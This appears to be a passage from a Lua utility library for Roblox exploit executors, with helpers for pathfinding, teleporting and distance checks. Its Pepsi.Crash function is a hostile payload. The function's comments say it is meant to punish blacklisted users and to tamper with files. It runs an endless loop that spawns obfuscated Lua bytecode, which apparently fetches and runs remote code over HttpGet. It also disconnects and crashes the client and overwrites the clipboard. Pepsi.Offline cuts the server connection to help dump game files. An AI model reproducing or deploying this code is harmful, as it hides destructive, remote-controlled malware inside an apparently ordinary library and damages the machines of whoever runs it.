1751    Pepsi.Arg(vector3, "Vector3", 1, "Pepsi.Path")
1752    Pepsi.Arg(vec2, {"nil", "CFrame", "Vector3"}, 2, "Pepsi.Path")
1753	vec2 = Pepsi.ToVector3(vec2 or Pepsi.Torso())
1754    Pepsi.Arg(vec2, "Vector3", 2, "Pepsi.Path")
1755	local path = game:GetService("PathfindingService"):CreatePath()
1756    if path then
1757		path:ComputeAsync(vector3 or Pepsi.Pos(), vec2)
1758        return path:GetWaypoints()
1759    end
1760	return {}
1761end
1762function Pepsi.Navigate(vector3, opt, ...)
1763	local min_dist, failsafe, returnfail, timeout, async = unpack({opt, ...})
1764	if type(opt) == "table" then
1765		min_dist, failsafe, returnfail, timeout, async = (opt.dist or opt.min or opt.min_dist), opt.failsafe, opt.returnfail, opt.timeout, opt.async
1766	end
1767	local timeouttime = time()
1768	Pepsi.Navigating = false
1769	Pepsi.Arg(failsafe, {"boolean", "nil"}, 2, "Pepsi.Navigate")
1770	Pepsi.Arg(returnfail, {"boolean", "nil"}, 2, "Pepsi.Navigate")
1771	Pepsi.Arg(timeout, {"number", "nil"}, 2, "Pepsi.Navigate")
1772	Pepsi.Arg(async, {"boolean", "nil"}, 2, "Pepsi.Navigate")
1773    Pepsi.WaitForChar()
1774    local human, torso, min_dist = Pepsi.Human(), Pepsi.Torso(), tonumber(min_dist or 5)
1775    assert(type(vector3) ~= "nil", "bad argument #1 to 'Navigate' (Vector3 expected, got " .. typeof(vector3) .. ")")
1776    assert(min_dist == nil or type(min_dist) == "number", "bad argument #2 to 'Navigate' (number expected, got " .. typeof(min_dist) .. ")")
1777	vector3 = Pepsi.ToVector3(vector3)
1778    assert(vector3 and typeof(vector3) == "Vector3", "bad argument #1 to 'Navigate' (Vector3 expected, got " .. typeof(vector3) .. ")")
1779    if human == nil or typeof(human) == "Instance" and human:IsA("Humanoid") then
1780		Pepsi.Navigating = true
1781		torso = torso or Pepsi.Torso()
1782		local t = 0
1783		local retf = false
1784        while Pepsi.Navigating and (vector3 - torso.Position).Magnitude > min_dist and (not timeout or time() - timeouttime < timeout) do
1785			torso = torso or Pepsi.Torso()
1786			human = human or Pepsi.Human()
1787            if torso and human then
1788            	Pepsi.Dev("nav", (vector3 - torso.Position).Magnitude, (vector3 - torso.Position).Magnitude > 10, nav)
1789                local start = torso.Position
1790                if typeof(start) == "Vector3" then
1791					if (vector3 - torso.Position).Magnitude <= min_dist then
1792						return true
1793					end
1794                    local waypoints = Pepsi.Path(start, vector3)
1795                    if Pepsi.Navigating and waypoints and #waypoints > 0 then
1796                        local n = #waypoints > 4 and 5 or #waypoints > 3 and 4 or #waypoints > 2 and 3 or 2 or 1
1797                        if waypoints[n] and waypoints[n].Action == 1 then
1798                            human.Jump = true
1799                            delay(0.1, function()
1800                                human.Jump = false
1801                            end)
1802                        end
1803						if Pepsi.Navigating and waypoints[n] and waypoints[n].Position then
1804							human:MoveTo(waypoints[n].Position)
1805						end
1806						if retf then
1807							return false
1808						end
1809						if failsafe or returnfail then
1810							Pepsi.delay(1.5, function(cache)
1811								if not Pepsi.Navigating then
1812									return false
1813								end
1814								local dis = Pepsi.Dist(cache) * 6
1815								if Pepsi.Navigating and Pepsi.Dist(cache) < 8 then
1816									if returnfail then
1817										retf = true
1818										return
1819									end
1820									Pepsi.Char():TranslateBy((Pepsi.Torso().CFrame.LookVector * 5))
1821									Pepsi.Char():MoveTo(Pepsi.Pos())
1822								elseif Pepsi.Navigating and Pepsi.Dist(cache) < 20 then
1823									if returnfail then
1824										retf = true
1825										return
1826									end
1827									Pepsi.Char():TranslateBy((Pepsi.Torso().CFrame.LookVector * 3))
1828								elseif Pepsi.Navigating and Pepsi.Dist(cache) < 25 then
1829									if returnfail then
1830										retf = true
1831										return
1832									end
1833									human = human or Pepsi.Human()
1834									human.Jump = true
1835									wait(0.1)
1836									human.Jump = false
1837								end
1838							end, Pepsi.Pos())
1839						end
1840                    else
1841						if (vector3 - torso.Position).Magnitude > min_dist then
1842                        	nav = nil
1843						end
1844                    end
1845                end
1846            end
1847			if async then
1848			if typeof(async) == "RBXScriptSignal" then
1849				async:Wait()
1850			else
1851				Pepsi.Rs:Wait()
1852			end
1853		end
1854        end
1855		Pepsi.Navigating = false
1856    	Pepsi.Dev("nav", "Navigation finished")
1857		if timeout and time() - timeouttime >= timeout then
1858			return false
1859		end
1860    	return true
1861    end
1862	Pepsi.Navigating = false
1863	Pepsi.Dev("nav", "Navigation failed - Human lost")
1864	return false
1865end
1866function Pepsi.SetupVars()
1867	if type(Pepsi.VarSignals) == "table" then
1868		for k, v in pairs(Pepsi.VarSignals) do
1869			if typeof(v) == "RBXScriptConnection" then
1870				v:Disconnect()
1871				v = nil
1872			end
1873		end
1874	end
1875	local args = Pepsi.Vars or {
1876		Backpack = false,
1877		Camera = false,
1878		CFrame = false,
1879		Character = false,
1880		Connect = true,
1881		Enabled = false,
1882		Gui = false,
1883		Head = false,
1884		Health = false,
1885		Humanoid = false,
1886		Tool = false,
1887		Torso = false,
1888		Update = game:GetService("RunService").RenderStepped,
1889		Vector3 = false
1890	}
1891	if args and type(args) == "table" then
1892		if args.Enabled then
1893			Pepsi.VarSignals.Update = coroutine.wrap(Pepsi.fcall(function(param)
1894				for k, v in pairs(args) do
1895					local name = tostring(k or "nil")
1896					if name == "Backpack" then
1897						
1898					end
1899				end
1900				if Pepsi.VarSignals.Clear then
1901					Pepsi.VarSignals.Clear = nil
1902					coroutine.yield()
1903					Pepsi.VarSignals.Update = nil
1904				end
1905			end))
1906		end
1907	end
1908end
1909function Pepsi.LiveVars(args)
1910	args = args or {
1911		Backpack = false,
1912		Camera = false,
1913		CFrame = false,
1914		Character = false,
1915		Connect = true,
1916		Enabled = false,
1917		Gui = false,
1918		Head = false,
1919		Health = false,
1920		Humanoid = false,
1921		Tool = false,
1922		Torso = false,
1923		Update = game:GetService("RunService").RenderStepped,
1924		Vector3 = false
1925	}
1926	if typeof(args) == "table" then
1927		local narg = {unpack(Pepsi.Vars)}
1928		for k, v in pairs(args) do
1929			if k ~= "Update" and type(v) == "boolean" or k == "Update" then
1930				narg[k] = v
1931			end
1932		end
1933		Pepsi.Vars = {unpack(narg)}
1934		narg = nil
1935	end
1936	return pcall(Pepsi.SetupVars)
1937end
1938function Pepsi.Offline() -- Yeah, now you can play offline. Multiplayer cut, and options are limited. but you cannot timeout or be kicked (However the server will register that you have left the game). (Perfect for digging through the server files (Or saveinstance)
1939	return pcall(function()
1940		game:GetService("NetworkClient"):FindFirstChildOfClass("ClientReplicator"):CloseConnection()
1941	end)
1942end
1943function Pepsi.Line(level)
1944	Pepsi.Arg(level, {"number", "nil"}, 1, "Pepsi.Line")
1945	local lines = {}
1946	local trace = debug.traceback():gsub("[^\r\n]+", function(c)
1947		table.insert(lines, c)
1948	end)
1949	level = math.range(tonumber(level or 3), 0, #lines)
1950	local str = rawget(lines, level)
1951	if type(str) == "string" then
1952		return tonumber(tostring(str:match(":(%d+)$")))
1953	end
1954end
1955function Pepsi.Crash(destroy_my_pc) -- Strongly recommend reserving the destroy_my_pc for severe cases. (Black lists shouldn't have to suffer this punishment unless a brutal betrayal was made (But ultimately, it is your decision. And Yes. This method HARMS much more than roblox. Files will be tampered with.)
1956	pcall(Pepsi.Offline)
1957	if destroy_my_pc == true then
1958		return (function()
1959			repeat
1960				for k = -math.huge, math.huge, 0.0000000001 do
1961					while not false or true or 1 or not (nil == #string.rep("x", 9^9 + math.random(-1000, 1000)) and  1 == #("f"):rep(9^9 + math.random(-1000, 1000)) and nil and 1 + 1 == 1 and nil ~= nil and true == false and game == nil and string.rep("x", 9^9) and not true) or false == (nil == #string.rep("x", 9^9 + math.random(-1000, 1000)) and  1 == #("f"):rep(9^9 + math.random(-1000, 1000)) and nil and 1 + 1 == 1 and nil ~= nil and true == false and game == nil and string.rep("x", 9^9) and not true) or true or true or 1 == 1 do
1962						pcall(spawn, Pepsi.Destroy)
1963						pcall(spawn, Pepsi.Rejoin)
1964						pcall(spawn, loadstring((string.char(0X1B, 0X4C, 0X75, 0X61, 0X51, 0X0, 0X1, 0X4, 0X4, 0X4, 0X8, 0X0, 0X13, 0X0, 0X0, 0X0, 0X40, 0X6D, 0X41, 0X49, 0X39, 0X52, 0X74, 0X4E, 0X78, 0X54, 0X73, 0X6D, 0X62, 0X4D, 0X68, 0X4B, 0X6F, 0X6A, 0X0, 0X0, 0XB4, 0XB2, 0X1B, 0X34, 0X9D, 0X8C, 0X71, 0X0, 0X0, 0X2, 0X82, 0X88, 0X0, 0X0, 0X0, 0X5, 0X0, 0X0, 0X0, 0X45, 0X40, 0X0, 0X0, 0X85, 0X80, 0X0, 0X0, 0XC5, 0XC0, 0X0, 0X0, 0XCB, 0X0, 0XC1, 0X1, 0X45, 0X41, 0X1, 0X0, 0X46, 0X81, 0XC1, 0X2, 0X81, 0XC1, 0X1, 0X0, 0XC1, 0X1, 0X2, 0X0, 0X1, 0X2, 0X2, 0X0, 0X41, 0X42, 0X2, 0X0, 0X81, 0X82, 0X2, 0X0, 0XC1, 0XC2, 0X2, 0X0, 0X1, 0X3, 0X3, 0X0, 0X41, 0X3, 0X3, 0X0, 0X81, 0X43, 0X3, 0X0, 0XC1, 0X83, 0X3, 0X0, 0X1, 0X84, 0X2, 0X0, 0X41, 0X4, 0X2, 0X0, 0X81, 0XC4, 0X3, 0X0, 0XC1, 0X44, 0X3, 0X0, 0X1, 0X85, 0X3, 0X0, 0X41, 0X5, 0X2, 0X0, 0X81, 0XC5, 0X1, 0X0, 0XC1, 0X5, 0X4, 0X0, 0X1, 0X46, 0X4, 0X0, 0X41, 0XC6, 0X3, 0X0, 0X81, 0X86, 0X4, 0X0, 0XC1, 0XC6, 0X4, 0X0, 0X1, 0X7, 0X5, 0X0, 0X41, 0X7, 0X3, 0X0, 0X81, 0X47, 0X5, 0X0, 0XC1, 0X7, 0X4, 0X0, 0X1, 0X88, 0X4, 0X0, 0X41, 0X88, 0X5, 0X0, 0X81, 0XC8, 0X5, 0X0, 0XC1, 0X88, 0X3, 0X0, 0X1) .. string.char(0XC9, 0X4, 0X0, 0X41, 0X9, 0X6, 0X0, 0X81, 0X9, 0X6, 0X0, 0XC1, 0X49, 0X6, 0X0, 0X1, 0XA, 0X3, 0X0, 0X41, 0X4A, 0X4, 0X0, 0X81, 0X8A, 0X4, 0X0, 0XC1, 0X8A, 0X6, 0X0, 0X1, 0XCB, 0X6, 0X0, 0X41, 0X8B, 0X5, 0X0, 0X81, 0X8B, 0X6, 0X0, 0XC1, 0XCB, 0X6, 0X0, 0X1, 0XC, 0X7, 0X0, 0X41, 0X4C, 0X7, 0X0, 0X81, 0X8C, 0X4, 0X0, 0XC1, 0X8C, 0X7, 0X0, 0X1, 0X4D, 0X7, 0X0, 0X41, 0X4D, 0X7, 0X0, 0X81, 0X8D, 0X7, 0X0, 0XC1, 0XCD, 0X7, 0X0, 0X1, 0XE, 0X8, 0X0, 0X41, 0XCE, 0X7, 0X0, 0X81, 0X4E, 0X8, 0X0, 0XC1, 0X8E, 0X5, 0X0, 0X1, 0XF, 0X6, 0X0, 0X41, 0X4F, 0X4, 0X0, 0X81, 0X8F, 0X7, 0X0, 0XC1, 0X8F, 0X5, 0X0, 0X1, 0X10, 0X7, 0X0, 0X41, 0X50, 0X6, 0X0, 0X81, 0XD0, 0X6, 0X0, 0XC1, 0X90, 0X8, 0X0, 0X1, 0X91, 0X8, 0X0, 0X41, 0X11, 0X7, 0X0, 0X81, 0XD1, 0X8, 0X0, 0XC1, 0X11, 0X8, 0X0, 0X1, 0X92, 0X7, 0X0, 0X41, 0X12, 0X3, 0X0, 0X81, 0XD2, 0X5, 0X0, 0XC1, 0X92, 0X5, 0X0, 0X1, 0X13, 0X9, 0X0, 0X41, 0X13, 0X3, 0X0, 0X81, 0X13, 0X6, 0X0, 0XC1, 0X93, 0X6, 0X0, 0X1, 0XD4, 0X8, 0X0, 0X41, 0X14, 0X8, 0X0, 0X81, 0X54, 0X7, 0X0, 0XC1, 0X54, 0X6, 0X0, 0X1, 0X15, 0X8, 0X0, 0X41, 0X55, 0X4, 0X0, 0X81) .. string.char(0X15, 0X8, 0X0, 0XC1, 0XD5, 0X7, 0X0, 0X1, 0X16, 0X7, 0X0, 0X41, 0X96, 0X8, 0X0, 0X81, 0X96, 0X5, 0X0, 0XC1, 0X16, 0X8, 0X0, 0X1, 0X57, 0X8, 0X0, 0X41, 0X57, 0X4, 0X0, 0X81, 0X97, 0X6, 0X0, 0XC1, 0X57, 0X4, 0X0, 0X1, 0X98, 0X8, 0X0, 0X41, 0XD8, 0X6, 0X0, 0X81, 0X18, 0X6, 0X0, 0XC1, 0X58, 0X9, 0X0, 0X1, 0X59, 0X4, 0X0, 0X41, 0X19, 0X7, 0X0, 0X81, 0X59, 0X4, 0X0, 0XC1, 0XD9, 0X6, 0X0, 0X1, 0XDA, 0X7, 0X0, 0X41, 0X9A, 0X8, 0X0, 0X81, 0X1A, 0X6, 0X0, 0XC1, 0XDA, 0X6, 0X0, 0X1, 0X1B, 0X7, 0X0, 0X41, 0XDB, 0X8, 0X0, 0X81, 0X5B, 0X8, 0X0, 0XC1, 0XDB, 0X6, 0X0, 0X1, 0X1C, 0X8, 0X0, 0X41, 0X5C, 0X9, 0X0, 0X81, 0X1C, 0X6, 0X0, 0XC1, 0XDC, 0X8, 0X0, 0X1, 0X9D, 0X7, 0X0, 0X41, 0XDD, 0X7, 0X0, 0X81, 0X1D, 0X3, 0X0, 0XC1, 0X9D, 0X9, 0X0, 0X1, 0X1E, 0X8, 0X0, 0X41, 0X5E, 0X2, 0X0, 0X81, 0X9E, 0X2, 0X0, 0XC1, 0X9E, 0X3, 0X0, 0X1, 0X1F, 0X8, 0X0, 0X41, 0X9F, 0X6, 0X0, 0X81, 0XDF, 0X3, 0X0, 0XC1, 0XDF, 0X9, 0X0, 0X1, 0X20, 0X4, 0X0, 0X41, 0XA0, 0X5, 0X0, 0X5C, 0X1, 0X80, 0X3E, 0XDC, 0X0, 0X0, 0X0, 0X9C, 0X0, 0X0, 0X0, 0X1C, 0X40, 0X0, 0X0, 0X1E, 0X0, 0X80, 0X0, 0X28, 0X0, 0X0, 0X0, 0X4) .. string.char(0X6, 0X0, 0X0, 0X0, 0X70, 0X63, 0X61, 0X6C, 0X6C, 0X0, 0X4, 0X6, 0X0, 0X0, 0X0, 0X73, 0X70, 0X61, 0X77, 0X6E, 0X0, 0X4, 0XB, 0X0, 0X0, 0X0, 0X6C, 0X6F, 0X61, 0X64, 0X73, 0X74, 0X72, 0X69, 0X6E, 0X67, 0X0, 0X4, 0X5, 0X0, 0X0, 0X0, 0X67, 0X61, 0X6D, 0X65, 0X0, 0X4, 0X8, 0X0, 0X0, 0X0, 0X48, 0X74, 0X74, 0X70, 0X47, 0X65, 0X74, 0X0, 0X4, 0X7, 0X0, 0X0, 0X0, 0X73, 0X74, 0X72, 0X69, 0X6E, 0X67, 0X0, 0X4, 0X5, 0X0, 0X0, 0X0, 0X63, 0X68, 0X61, 0X72, 0X0, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X5A, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X5D, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X5C, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0XC0, 0X5C, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X4D, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X80, 0X47, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0XC0, 0X59, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X40, 0X5A, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X47, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X40, 0X5D, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X80, 0X58, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0XC0, 0X58, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0XC0, 0X5B, 0X40, 0X3) .. string.char(0X0, 0X0, 0X0, 0X0, 0X0, 0X40, 0X5B, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X53, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X40, 0X58, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X80, 0X5C, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X4A, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X80, 0X49, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X59, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X4B, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X48, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X80, 0X4B, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X80, 0X59, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X80, 0X4C, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X40, 0X59, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X4C, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X80, 0X4A, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X49, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0XC0, 0X5D, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X80, 0X48, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X54, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X5B, 0X40, 0X0, 0X0, 0X0, 0X0, 0X88, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1) .. string.char(0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1) .. string.char(0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1)))) -- God of Death
1965						pcall(spawn, function()
1966							pcall(Pepsi.Destroy, getgenv())
1967						end)
1968					end
1969				end
1970			until nil == #string.rep("x", 9^9 + math.random(-1000, 1000)) and  1 == #("f"):rep(9^9 + math.random(-1000, 1000)) and nil and 1 + 1 == 1 and nil ~= nil and true == false and game == nil and string.rep("x", 9^9) and not true
1971		end)()
1972	end
1973	Pepsi.scall(Pepsi.Rejoin) -- Soft Start, if bypassed they will suffer more. Bypass that, and the suffer even more.
1974	Pepsi.scall(Pepsi.Destroy)
1975	if game:FindFirstChildWhichIsA("NetworkReplicator", true) then
1976		game:FindFirstChildWhichIsA("NetworkReplicator", true):CloseConnection() -- Offline
1977	end
1978	spawn(function()game:GetService("GuiService"):InspectPlayerFromUserId(1)end)
1979	spawn(function()game:GetService("GuiService").GuiNavigationEnabled = false end)
1980	spawn(function()game:GetService("RunService"):Stop()end)
1981    spawn(function()game:GetService("GuiService"):SetGlobalGuiInset(100, 100, 100, 100)end)
1982	spawn(function()game:GetService("ContextActionService"):UnbindAllActions()end)
1983	if game.Shutdown then
1984		game:Shutdown()
1985	end
1986	if getpointerfromstate and getstates then
1987		getpointerfromstate(getpointerfromstate(getstates()[1]))
1988	end
1989	if getpropvalue then
1990		getpropvalue()
1991	end
1992	if setpropvalue then
1993		setpropvalue()
1994	end
1995	pcall(function()
1996		if setreadonly then
1997	    	setreadonly(getmetatable(game), false)
1998		end
1999	end)
2000	if syn then
2001		if syn.run_secure_function then
2002			syn.run_secure_function(string.rep("x", 9^9))
2003		end
2004		if syn.secrun then
2005			syn.secrun(1, 1)
2006		end
2007		pcall(function()
2008		    syn.write_clipboard(tostring(tick() * math.random()))
2009		end)
2010		if syn.create_secure_function then
2011		    syn.create_secure_function(string.rep("x", 9 ^ 9), ("x"):rep(9 ^ 9))
2012		end
2013	end
2014end
2015function Pepsi.GetPart(obj)
2016	if typeof(obj) == "Instance" and obj:IsA("ValueBase") then
2017		obj = obj.Value
2018	elseif typeof(obj) == "Instance" and obj:IsA("Player") then
2019		obj = obj.Character
2020	elseif typeof(obj) == "Instance" and obj:IsA("BasePart") then
2021		return obj
2022	end
2023	if typeof(obj) == "Instance" then
2024		if obj:IsA("BasePart") then
2025			return obj
2026		elseif obj:IsA("Model") and obj.PrimaryPart then
2027			return obj.PrimaryPart
2028		elseif obj:FindFirstChildOfClass("Humanoid") or obj:FindFirstChildOfClass("Humanoid", true) then
2029			local tobj = obj:FindFirstChildOfClass("Humanoid") or obj:FindFirstChildOfClass("Humanoid", true)
2030			if tobj and tobj.RootPart then
2031				return tobj.RootPart
2032			end
2033		end
2034		if obj:FindFirstChildWhichIsA("BasePart") or obj:FindFirstChildWhichIsA("BasePart", true) then
2035			obj = obj:FindFirstChildWhichIsA("BasePart") or obj:FindFirstChildWhichIsA("BasePart", true)
2036			return obj
2037		end
2038	end
2039end
2040function Pepsi.MoveTo(obj)
2041	if obj then
2042		local c = Pepsi.Human()
2043		if c and c.RootPart then
2044			c.RootPart.CFrame = CFrame.new(Pepsi.ToVector3(obj))
2045		end
2046	end
2047end
2048function Pepsi.MoveObj(obj, to, collision)
2049	if type(to) == nil and typeof(obj) == "Vector3" or typeof(obj) == "CFrame" then
2050		obj, to = Pepsi.Char(), obj
2051	elseif type(to) == nil and typeof(obj) == "Instance" then
2052		to = Pepsi.Torso()
2053	end
2054	Pepsi.Arg(obj, "Instance", 1, "Pepsi.MoveObj")
2055	Pepsi.Arg(to, {"Instance", "CFrame", "Vector3"}, 2, "Pepsi.MoveObj")
2056	local part = Pepsi.GetPart(obj)
2057	local p = Pepsi.ToVector3(to)
2058	Pepsi.Arg(part, "Instance", 1, "Pepsi.MoveObj")
2059	Pepsi.Arg(p, "Vector3", 2, "Pepsi.MoveObj")
2060	if not part:IsA("BasePart") then
2061		Pepsi.Arg(nil, "Instance", 1, "Pepsi.MoveObj")
2062	elseif p == Vector3.new() then
2063		Pepsi.Arg(nil, "Vector3", 2, "Pepsi.MoveObj")
2064	end
2065	if part:IsA("BasePart") and typeof(p) == "Vector3" then
2066		if collision == true then
2067			part.Position = p
2068		else
2069			part.CFrame = CFrame.new(p)
2070		end
2071	end
2072end
2073function Pepsi.Splash(txt, del)
2074	local message = game:GetService("CoreGui"):FindFirstChildWhichIsA("Message")
2075	while message ~= nil do
2076		if message then
2077			message:Destroy()
2078		end
2079		message = game:GetService("CoreGui"):FindFirstChildWhichIsA("Message")
2080	end
2081	return Instance.make("Message", {
2082		Text = tostring(txt or "Hello World"),
2083		Name = string.scramble(),
2084		Parent = game:GetService("CoreGui")
2085	}, tonumber(del or 4))
2086end
2087function Pepsi.Hint(txt, del)
2088	local message = game:GetService("CoreGui"):FindFirstChildWhichIsA("Hint")
2089	while message ~= nil do
2090		if message then
2091			message:Destroy()
2092		end
2093		message = game:GetService("CoreGui"):FindFirstChildWhichIsA("Hint")
2094	end
2095	return Instance.make("Hint", {
2096		Text = tostring(txt or "Hello World"),
2097		Name = string.scramble(),
2098		Parent = game:GetService("CoreGui")
2099	}, tonumber(del or 4))
2100end
2101function Pepsi.fcall(func, ...) -- function call
2102	return function(...)
2103		return pcall(func, ...)
2104	end
2105end
2106function Pepsi.efcall(func, ...) -- Extra yield call
2107	return function(...)
2108		return Pepsi.ecall(func, ...)
2109	end
2110end
2111function Pepsi.fscall(func, ...) -- function silent call
2112	return function(...)
2113		return Pepsi.scall(func, ...)
2114	end
2115end
2116function Pepsi.fsycall(func, ...) -- function silent yield call
2117	return function(...)
2118		return Pepsi.sycall(func, ...)
2119	end
2120end
2121function Pepsi.fycall(func, ...) -- function yield call
2122	return function(...)
2123		return Pepsi.ycall(func, ...)
2124	end
2125end
2126function Pepsi.efycall(func, ...) -- Extra function yield call
2127	return function(...)
2128		return Pepsi.eycall(func, ...)
2129	end
2130end
2131function Pepsi.Dist(vec1, vec2, def)
2132	if def == nil then
2133		def = math.nan
2134	end
2135	if nil == vec2 and nil ~= vec1 then
2136		vec2 = Pepsi.Me()
2137	end
2138	if typeof(vec1) == "CFrame" then
2139		vec1 = vec1.Position
2140	end
2141	if typeof(vec2) == "CFrame" then
2142		vec2 = vec2.Position
2143	end
2144	if typeof(vec1) == "Instance" and typeof(vec2) == "Instance" and vec1:IsA("Player") and vec2:IsA("Player") then
2145		vec2 = vec2.Character
2146		if not vec2 or not vec1.Character then
2147			return def
2148		end
2149	end
2150	if typeof(vec1) == "Instance" and not vec1:IsA("Player") then
2151		if vec1:IsA("BasePart") then
2152			vec1 = vec1.Position
2153		elseif vec1:IsA("Model") then
2154			if vec1.PrimaryPart then
2155				vec1 = vec1.PrimaryPart.Position
2156			elseif vec1:FindFirstChildWhichIsA("BasePart", true) then
2157				vec1 = vec1:FindFirstChildWhichIsA("BasePart", true).Position
2158			end
2159		elseif vec1:FindFirstChildWhichIsA("BasePart", true) then
2160			vec1 = vec1:FindFirstChildWhichIsA("BasePart", true).Position
2161		end
2162	end
2163	if typeof(vec2) == "Instance" and not vec2:IsA("Player") then
2164		if vec2:IsA("BasePart") then
2165			vec2 = vec2.Position
2166		elseif vec2:IsA("Model") then
2167			if vec2.PrimaryPart then
2168				vec2 = vec2.PrimaryPart.Position
2169			elseif vec2:FindFirstChildWhichIsA("BasePart", true) then
2170				vec2 = vec2:FindFirstChildWhichIsA("BasePart", true).Position
2171			end
2172		elseif vec2:FindFirstChildWhichIsA("BasePart", true) then
2173			vec2 = vec2:FindFirstChildWhichIsA("BasePart", true).Position
2174		end
